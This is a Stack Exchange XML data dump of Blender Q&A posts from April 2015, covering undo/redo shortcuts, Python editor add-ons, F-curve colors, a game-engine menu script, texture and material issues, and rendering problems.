  <row Id="29045" PostTypeId="1" CreationDate="2015-04-27T19:45:06.887" Score="3" ViewCount="573" Body="&lt;p&gt;I have had several occasions where I went astray with my Blender work and had to undo my work or start over.  When I undid my work today that took several hours, I went too far.  Oops!  Now I have to redo that work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I come to Blender from CAD, specifically AutoCAD and Inventor.  Both of those packages have a redo function in them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would really like to see one of you smart programmers work on that.  Or, tell me that it is available and I just don't see it.&lt;/p&gt;&#xA;" OwnerUserId="8332" LastEditorDisplayName="user1853" LastEditDate="2015-04-29T03:19:35.923" LastActivityDate="2015-04-29T03:19:35.923" Title="Where is the redo function in Blender?" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="0" ClosedDate="2015-04-27T21:17:05.157" ContentLicense="CC BY-SA 3.0" />
  <row Id="29046" PostTypeId="2" ParentId="29043" CreationDate="2015-04-27T19:50:25.053" Score="7" Body="&lt;p&gt;Just like Chebhou said the loop cuts follow the topology. See examples below:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xeRtm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you can do is use the &lt;em&gt;Knife Tool&lt;/em&gt; instead of loop cuts. Press &lt;kbd&gt;K&lt;/kbd&gt;, then &lt;kbd&gt;C&lt;/kbd&gt; and drag the mouse from left to right.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9Ufim.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also select the loopcut, position the cursor on it and press &lt;kbd&gt;S&lt;/kbd&gt;,&lt;kbd&gt;Y&lt;/kbd&gt;(or&lt;kbd&gt;X&lt;/kbd&gt; or &lt;kbd&gt;Z&lt;/kbd&gt;, depending on your situation) and then 0.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HVAu5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-05-21T13:35:41.093" LastActivityDate="2015-05-21T13:35:41.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29047" PostTypeId="2" ParentId="29045" CreationDate="2015-04-27T19:51:37.747" Score="9" Body="&lt;p&gt;There is!:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt; is &lt;strong&gt;Undo&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt; is &lt;strong&gt;Redo&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt; is to show and select &lt;strong&gt;Undo History&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorDisplayName="user1853" LastEditDate="2015-04-27T20:20:57.993" LastActivityDate="2015-04-27T20:20:57.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29048" PostTypeId="1" AcceptedAnswerId="29050" CreationDate="2015-04-27T19:51:56.710" Score="1" ViewCount="2369" Body="&lt;p&gt;Can anyone recommend some editor or IDE addon for making python scripting a little less cumbersome than using the built in text editor? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really miss stuff like suggestion of function names etc. that pretty much any IDE or code editor has these days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any specific addon or editor that you find ideal when it comes to blender scripting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am a newbie when it comes to Blender and also when it comes to the Python language so excuse my ignorance. &lt;/p&gt;&#xA;" OwnerUserId="13339" LastEditorUserId="13339" LastEditDate="2015-04-27T20:26:06.377" LastActivityDate="2018-06-23T13:54:51.243" Title="A decent IDE / code-editor addon for blender" Tags="&lt;python&gt;&lt;scripting&gt;&lt;text-editor&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="0" ClosedDate="2015-04-27T21:44:03.727" ContentLicense="CC BY-SA 3.0" />
  <row Id="29050" PostTypeId="2" ParentId="29048" CreationDate="2015-04-27T20:04:24.013" Score="4" Body="&lt;p&gt;There is a paid add-on on Blender Market: &lt;a href=&quot;https://cgcookiemarkets.com/blender/all-products/code-autocomplete/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Link&lt;/a&gt;, but the add-on is also available for free from GitHub here: &lt;a href=&quot;https://github.com/JacquesLucke/code_autocomplete&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/JacquesLucke/code_autocomplete&lt;/a&gt;. You would just need to use the green &quot;Clone or Download&quot; button and choose to download it as a .zip. Note that Jacques Lucke says &lt;a href=&quot;https://blenderartists.org/t/addon-auto-completion-in-blenders-text-editor/627858&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You can buy it in the BlenderMarket but it is also freely available on github.&#xA;  Buying the addon entitles you to better support when you have questions and helps to ensure that I can continue working on my addons!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And another free one: &lt;a href=&quot;http://blenderaddonlist.blogspot.com/2014/10/addon-addon-template-generator.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Link&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eclipse related: &lt;a href=&quot;http://daniepstein.com/daniepstein/tutorials/python-blender-and-a-bit-of-debuggery/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Link&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="28015" LastEditDate="2018-06-23T13:54:51.243" LastActivityDate="2018-06-23T13:54:51.243" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29051" PostTypeId="1" AcceptedAnswerId="29062" CreationDate="2015-04-27T20:05:16.540" Score="1" ViewCount="168" Body="&lt;p&gt;To refresh colors F-Curves I have to display the Graph editor on the screen.&#xA;Blender doesn't refresh colors F-Curves automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create some animation with the default cube and follow: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.actions['CubeAction'].fcurves[0].color&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;without display the Graph editor on the screen, we get a pure black color:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Color((0.0, 0.0, 0.0))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It the any way to refresh and update colors F-Curves via python ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Below a screenshot from Outliner, Datablocks.&lt;/em&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/g9qsB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6426" LastEditorUserId="6426" LastEditDate="2015-04-27T20:44:53.550" LastActivityDate="2015-04-28T01:51:54.127" Title="How to refresh F-Curve colors via python?" Tags="&lt;scripting&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29054" PostTypeId="1" CreationDate="2015-04-27T21:07:48.860" Score="3" ViewCount="3235" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XizrU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UIgdt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cJlVm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fWN46.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i add a texture image to the background of the world, an unwanted purple color comes with. I don't know how to delete it (the purple color). I see it in the preview before adding the texture image from my folder. After adding the image, the preview is OK but if i render my 3d view i have always this purple color with my image. Somebody has a solution ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(with blender 2.74)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Matthieu&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S : My light is not purple and it is not a duplicate. No files are missing and i don't use blender render but cycles render.&#xA;I can see my image in the preview window. My problem is : when i assigne a texture the background is a mix with purple color and my texture. I don't want this purple color ! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it's a bug. It works great with my older version of blender (2.66a).&lt;/p&gt;&#xA;" OwnerUserId="14041" LastEditorUserId="3710" LastEditDate="2015-04-28T17:54:04.733" LastActivityDate="2021-03-03T16:11:08.867" Title="Unwanted purple background with image texture" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;" AnswerCount="4" CommentCount="21" ContentLicense="CC BY-SA 3.0" />
  <row Id="29055" PostTypeId="2" ParentId="29030" CreationDate="2015-04-27T21:56:06.063" Score="1" Body="&lt;p&gt;It turns out that the feature I was looking for wasn't actually X-ray or at least there's another workaround. Instead I used the shrinkwrap modifier with a little bit of positive offset so that the new mesh doesn't sink into the original one.&lt;/p&gt;&#xA;" OwnerUserId="4944" LastActivityDate="2015-04-27T21:56:06.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29056" PostTypeId="1" AcceptedAnswerId="29058" CreationDate="2015-04-27T22:18:07.630" Score="3" ViewCount="529" Body="&lt;p&gt;So I'm making a GUI for my first person shooter type of game and I'm having trouble with making the effect for scrolling through the icons, trying to select one at a time instead of all. I basically have no idea how to do it so my question is, does anyone know how to use the mouse to scroll through the icons instead of selecting them all? I know why it selects them all I just want to know how to select them one at a time using the mouse wheel to go up and down the icons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a link to what I'm trying to make overall (&lt;a href=&quot;https://www.youtube.com/watch?v=ALGcJVFb5oo&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=ALGcJVFb5oo&lt;/a&gt;)&#xA;but as or right now I just need help getting the icon selection part right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check out the blend file here-&#xA;&lt;a href=&quot;https://www.dropbox.com/s/p0312glj761zaei/SAO%20Ui.blend?dl=0&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/p0312glj761zaei/SAO%20Ui.blend?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only controls I have so far is when you press &lt;kbd&gt;E&lt;/kbd&gt; it brings down the menu and when you use the wheel on the mouse it selects the icon (which is what I'm having trouble with...)&lt;/p&gt;&#xA;" OwnerUserId="13984" LastEditorUserId="2217" LastEditDate="2016-01-09T23:51:54.757" LastActivityDate="2016-01-09T23:51:54.757" Title="Scrolling effect for GUI menu in BGE" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="29058" PostTypeId="2" ParentId="29056" CreationDate="2015-04-27T23:30:57.933" Score="4" Body="&lt;p&gt;You can use a property to hold the selected circle index, then switch between them each time the mouse-wheel rotate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the easiest way was the script, the script is attached to the first circle as follows :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3gBNf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the first circle has two properties &lt;strong&gt;&lt;em&gt;selected&lt;/em&gt;&lt;/strong&gt; &quot;the index of the selected circle&quot;  and &lt;strong&gt;&lt;em&gt;open&lt;/em&gt;&lt;/strong&gt;  &quot;indicates whether the menu is open or not&quot;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bO16v.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the script used in the file :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def switch_selected():&#xA;    #get this controller   &#xA;    cont = bge.logic.getCurrentController()&#xA;    # the object running the script &quot;1st cicle selected&quot;&#xA;    owner = cont.owner&#xA;    # get this scene and a list of its objects&#xA;    scene = bge.logic.getCurrentScene()&#xA;    objects = scene.objects&#xA;&#xA;    #hide all circles  to clear the previous selection ( also in case the menu is closed no circle is selected)&#xA;    objects['1st cicle selected'].visible = False&#xA;    objects['2nd Circle Selected'].visible = False&#xA;    objects['3d cicle Selected'].visible = False&#xA;    objects['4th Circle Selected'].visible = False&#xA;    objects['5th cicle Selected'].visible = False        &#xA;&#xA;    #check if menu is open&#xA;    if owner['open'] :&#xA;        #get the mouse wheel sensors &#xA;        mouse_up = cont.sensors[&quot;up&quot;]&#xA;        mouse_down = cont.sensors[&quot;down&quot;]&#xA;&#xA;        #if mouse up increment index&#xA;        if mouse_down.positive :&#xA;            owner['selected'] += 1&#xA;            if owner['selected'] &amp;gt; 4 :&#xA;                owner['selected'] = 0&#xA;        #if mouse down decrement index&#xA;        if mouse_up.positive :&#xA;            owner['selected'] -= 1&#xA;            if owner['selected'] &amp;lt; 0 :&#xA;                owner['selected'] = 4   &#xA;&#xA;        # read the index and set the selected to be visible&#xA;        selected = owner['selected']       &#xA;        if selected == 0 :&#xA;            objects['1st cicle selected'].visible = True&#xA;        elif selected == 1 :&#xA;            objects['2nd Circle Selected'].visible = True&#xA;        elif selected == 2 :&#xA;            objects['3d cicle Selected'].visible = True&#xA;        elif selected == 3 :&#xA;            objects['4th Circle Selected'].visible = True&#xA;        elif selected == 4 :&#xA;            objects['5th cicle Selected'].visible = True&#xA;&#xA;&#xA;switch_selected() #a call for the above function at each tick&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the file &lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/205/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=205&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0ubqV.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-04-27T23:47:36.567" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29059" PostTypeId="1" CreationDate="2015-04-27T23:56:29.510" Score="2" ViewCount="1132" Body="&lt;p&gt;The plugins included with the &lt;a href=&quot;http://openctm.sourceforge.net/?page=download&quot; rel=&quot;nofollow&quot;&gt;OpenCTM compressed triangle mesh format&lt;/a&gt; doesn't work out of the box with Blender 2.7. Has anyone managed to modify these to make them work with the latest Blender versions?&lt;/p&gt;&#xA;" OwnerUserId="11518" LastEditorUserId="2217" LastEditDate="2015-04-29T01:05:32.707" LastActivityDate="2015-04-29T01:05:32.707" Title="OpenCTM import and output addon to work in recent Blender" Tags="&lt;export&gt;&lt;add-on&gt;&lt;import&gt;&lt;file-format&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29060" PostTypeId="1" CreationDate="2015-04-28T01:18:59.463" Score="0" ViewCount="48" Body="&lt;p&gt;I am trying to find a way to import an image, so that I can use it for 2D animation. Is there any way to use an image so it imports as an object like a plane? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="9497" LastActivityDate="2015-04-28T01:18:59.463" Title="How to add Image as object?" Tags="&lt;image&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-04-28T09:41:58.720" ContentLicense="CC BY-SA 3.0" />
  <row Id="29061" PostTypeId="2" ParentId="29042" CreationDate="2015-04-28T01:23:21.913" Score="9" Body="&lt;p&gt;Edited: There is now a built in VSE text subtitle tool. But it has limited functionality for adding text to a screen. Edited: Apparently now you can word wrap the contents of your text entry string. And you still can change the font but not the direction of the drop shadow.&lt;/p&gt;&#xA;&lt;p&gt;To make more elaborate supers (superimposed text), you must create a another scene and add it's scene strip to the VSE edit scene. However this is inefficient, I would recommend rendering and text to image files first.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastEditorUserId="1218" LastEditDate="2020-06-12T01:58:47.293" LastActivityDate="2020-06-12T01:58:47.293" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="29062" PostTypeId="2" ParentId="29051" CreationDate="2015-04-28T01:46:24.520" Score="1" Body="&lt;p&gt;I think that the fcurves colors are calculated when the graph editor tries to read their value for the first time, so you may have to do that yourself :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for action in D.actions :    &#xA;    for fcurve in action.fcurves :&#xA;        index = fcurve.array_index&#xA;&#xA;        if fcurve.color_mode == 'AUTO_RGB':&#xA;            h = float(1.0)/3.0        &#xA;        #I don't have the right formula for rainbow &#xA;        elif fcurve.color_mode == 'AUTO_RAINBOW': &#xA;            h = float(1.0)/4.0  &#xA;&#xA;        fcurve.color.hsv = (index*h, 1, 1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-04-28T01:51:54.127" LastActivityDate="2015-04-28T01:51:54.127" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29063" PostTypeId="1" AcceptedAnswerId="29065" CreationDate="2015-04-28T05:06:48.077" Score="5" ViewCount="1071" Body="&lt;p&gt;I'm trying to work on the materials for my scene without touching the rest of the scene for now. When I try to switch between scenes by clicking the outlined thing, it automatically applies the selected material to the active object.&lt;img src=&quot;https://i.stack.imgur.com/mi22R.png&quot; alt=&quot;Toolbar&quot;&gt;&#xA;Is this the wrong button? Should I be clicking something else in order to edit the material properties without applying it to my objects? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help in advance.&lt;/p&gt;&#xA;" OwnerUserId="13889" LastActivityDate="2015-04-28T06:49:41.887" Title="Editing a material without assigning it to the active object" Tags="&lt;materials&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29064" PostTypeId="2" ParentId="29032" CreationDate="2015-04-28T05:18:28.423" Score="1" Body="&lt;p&gt;Blender doesn't offer the options you want but I expect you can achieve this with an addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By creating your own rotation operator you can look at various properties then choose which options to set when calling the existing rotation operator. Then you replace the key-binding to run your operator instead of the standard operator.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-04-28T05:18:28.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29065" PostTypeId="2" ParentId="29063" CreationDate="2015-04-28T05:19:31.047" Score="6" Body="&lt;p&gt;Presently there is no experimental area to create materials before assigning them to an object. This leads to workarounds, and they may be obvious. Ways that come to mind are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;script it, and assign it.&lt;/li&gt;&#xA;&lt;li&gt;or, create a dummy object like a suzanne (because it's shapely) and create the new material for that and tweak it until satisfied. Then assign the material to the object(s) that you do want to use it with.&lt;/li&gt;&#xA;&lt;li&gt;or, start a second instance of blender, create suzanne, create a material for it &lt;strong&gt;(give it a good name)&lt;/strong&gt;, then save the blend. Then in the original blend go to &lt;em&gt;File &gt; Append &gt; (select file with the material) &gt; Materials &gt; (select the named material) Append&lt;/em&gt; . This will append the material to your current .blend file. Assign the new material to the desired object.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Remember, Giving a fake user (the F button) to a material tells blender not to delete that material if it isn't assigned to any objects, when the .blend is saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps. I don't like to use bold letters often, but good names are very handy.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-04-28T06:49:41.887" LastActivityDate="2015-04-28T06:49:41.887" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29066" PostTypeId="2" ParentId="23348" CreationDate="2015-04-28T05:53:55.627" Score="1" Body="&lt;p&gt;Books tend to use a slow release cycle and then are available for a long time. Version 2.63 of blender included with the book was released more than 2 years ago and would have been compiled using an older system version than what you have installed now. After installing newer versions of your system and supporting libraries previous releases can stop working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best option would be to try a new blender version. If you have trouble with the &lt;a href=&quot;http://www.blender.org/download/&quot; rel=&quot;nofollow noreferrer&quot;&gt;official release versions&lt;/a&gt; then you may want to look at tips on installing &lt;a href=&quot;https://blender.stackexchange.com/a/7263/935&quot;&gt;builds made available by others&lt;/a&gt; or &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Doc/Building_Blender/Linux&quot; rel=&quot;nofollow noreferrer&quot;&gt;compiling blender yourself&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-04-28T05:53:55.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29067" PostTypeId="1" AcceptedAnswerId="29076" CreationDate="2015-04-28T06:06:24.243" Score="6" ViewCount="885" Body="&lt;p&gt;How do you move blender line sets from the initial layer they were created on to another layer? &lt;/p&gt;&#xA;" OwnerUserId="5631" LastActivityDate="2015-05-12T16:28:56.507" Title="How to move freestyle line sets to another layer?" Tags="&lt;freestyle&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29068" PostTypeId="1" CreationDate="2015-04-28T07:11:41.017" Score="15" ViewCount="1058" Body="&lt;p&gt;I have text objects in my scene that I'd like to use in the HUD for a game. When they exist as text objects, I get a different result in a viewport and in game engine once I start playing the game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two separate text objects here&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gKmYw.png&quot; alt=&quot;viewport&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In game engine they are shown bigger, and therefore overlap.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YByKy.png&quot; alt=&quot;badly shown text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But once I press alt+C and convert them to mesh, they look perfectly the same in game engine as in viewport, just as I want:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oAFss.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I want them to exist as text objects, because i want to modify them during the game using &quot;obj.text&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, why are they shown differently when they are the text objects and is there a way to fix that, besides moving them around and figuring the layout out via trial and error?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Version 2.73&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit1: Just to clarify, my problem is not only about two text objects overlapping each other. If I want to create other interface elements using mesh, they will look exactly the same in game as in viewport. But if I have both mesh and text objects, the texts will bulk up, ruining my interface layout. That's why I'm trying to make text objects look exactly the same in game as in viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could, of course, just make the text smaller and just run the game several times and adjust the size of the text by trial and error. But that's a pretty tedious workaround ;)&lt;/p&gt;&#xA;" OwnerUserId="2324" LastEditorUserId="2324" LastEditDate="2015-05-09T05:39:31.713" LastActivityDate="2019-07-07T00:02:40.357" Title="Text objects look slightly differently in viewport and game engine" Tags="&lt;game-engine&gt;&lt;3d-view&gt;&lt;text-object&gt;" AnswerCount="4" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="29069" PostTypeId="1" AcceptedAnswerId="29070" CreationDate="2015-04-28T07:44:39.950" Score="4" ViewCount="95" Body="&lt;p&gt;When hovering over an operator button in blender, a nice box pops up that shows at least the docstring of the operator. However, if I find the same operator with the search function (pressing space in 3dview) and hover over it, no popup is shown. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is that? Is there a setting to enable this?&lt;/p&gt;&#xA;" OwnerUserId="11312" LastActivityDate="2015-04-28T08:27:26.793" Title="Operator docstrings displayed on buttons, not in search mode" Tags="&lt;python&gt;&lt;interface&gt;&lt;operator&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29070" PostTypeId="2" ParentId="29069" CreationDate="2015-04-28T08:27:26.793" Score="5" Body="&lt;p&gt;Spacebar search uses &lt;code&gt;bpy.types.Menu&lt;/code&gt; type class to display content in contrast of &lt;code&gt;bpy.types.Panel&lt;/code&gt; for buttons etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Drawing methods in both of them will be the same, like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def draw(self, context):&#xA;    self.layout.operator(...)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Menu will have the items with displayed shortcuts aside with no box popup (this is probably because a menu can have a sub-menu as a popup so to not confuse).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Panel formatting has more options and does show the pop-up doc-string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is by some design decision and cannot be changed with current exposed api.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-04-28T08:27:26.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29072" PostTypeId="2" ParentId="28885" CreationDate="2015-04-28T10:38:37.767" Score="3" Body="&lt;p&gt;The calculation of transparent shadows is a little bit slow, so the casting of transparent shadows (behind your glass) is deactivated in the default settings. To get the shadows or better the light you have to activate &lt;strong&gt;Receive Transparent&lt;/strong&gt; in the Shadow-Settings in the material tab for each Material, wich receive light through an object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://docs.blender.org/manual/en/dev/_images/render_blender-render_materials_properties_shadows_panel.png&quot;&gt;&amp;lt; activate &lt;strong&gt;Receive Transparent&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see &lt;a href=&quot;http://blender.org/manual/render/blender_render/materials/properties/shadows.html#shadow-receiving-object-material&quot; rel=&quot;nofollow noreferrer&quot;&gt;Shadows&lt;/a&gt; in the Blender Manual&lt;/p&gt;&#xA;" OwnerUserId="3369" LastEditorUserId="3369" LastEditDate="2018-03-09T17:38:33.547" LastActivityDate="2018-03-09T17:38:33.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29073" PostTypeId="2" ParentId="15458" CreationDate="2015-04-28T10:59:12.843" Score="5" Body="&lt;p&gt;I'd argue that the add shader is &lt;em&gt;never&lt;/em&gt; physically correct, since it duplicates the incoming energy, and adds the results.  But you can still produce physically plausible visual results through careful accounting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;a href=&quot;https://blender.stackexchange.com/a/1603/14029&quot;&gt;this answer&lt;/a&gt;, three glass shaders are added together.  But each shader absorbs two out of three colour channels, so the outgoing light energy matches the incoming light energy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YG1Nu.png&quot; alt=&quot;dispersion glass shader&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a physical model, there would be anomalous heat generated, but cycles doesn't track that anyway, so it works fine.&lt;/p&gt;&#xA;" OwnerUserId="14029" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2015-04-28T10:59:12.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29075" PostTypeId="1" AcceptedAnswerId="29079" CreationDate="2015-04-28T11:56:41.070" Score="3" ViewCount="252" Body="&lt;p&gt;I've checked the active camera, there's nothing in the sequence editor, I've tried everything and cannot figure out what I broke. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I literally just want it to render out how it looks in the viewport a Smoking crashed spaceship against a green screen. But for some reason, the render is blank, and then also it puts the video clip from the motion track on it too, which I don't want it to do either but that's a different issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Viewport:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zRcFZ.jpg&quot; alt=&quot;Viewport render&quot;&gt;&#xA;Node tree:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DvmJe.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Notice how the initial render is completely blank...? &lt;/p&gt;&#xA;" OwnerUserId="14048" LastEditorUserId="14048" LastEditDate="2016-06-17T12:26:55.870" LastActivityDate="2016-06-17T12:26:55.870" Title="Render is completely transparent" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
